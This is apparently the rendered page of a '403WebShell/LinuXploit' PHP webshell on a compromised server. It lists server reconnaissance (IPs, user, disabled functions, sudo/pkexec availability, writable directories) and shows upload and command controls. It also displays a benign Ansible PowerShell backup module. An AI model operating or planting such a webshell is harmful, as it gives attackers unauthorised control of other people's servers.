Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 172.67.134.116  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/ansible/module_utils/powershell/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/ansible/module_utils/powershell/Ansible.ModuleUtils.Backup.psm1
# Copyright (c): 2018, Dag Wieers (@dagwieers) <dag@wieers.com>
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)

Function Backup-File {
    <#
    .SYNOPSIS
    Helper function to make a backup of a file.
    .EXAMPLE
    Backup-File -path $path -WhatIf:$check_mode
#>
    [CmdletBinding(SupportsShouldProcess = $true)]

    Param (
        [Parameter(Mandatory = $true, ValueFromPipeline = $true)]
        [string] $path
    )

    Process {
        $backup_path = $null
        if (Test-Path -LiteralPath $path -PathType Leaf) {
            $backup_path = "$path.$pid." + [DateTime]::Now.ToString("yyyyMMdd-HHmmss") + ".bak";
            Try {
                Copy-Item -LiteralPath $path -Destination $backup_path
            }
            Catch {
                throw "Failed to create backup file '$backup_path' from '$path'. ($($_.Exception.Message))"
            }
        }
        return $backup_path
    }
}

# This line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Function Backup-File

Youez - 2016 - github.com/yon3zu
LinuXploit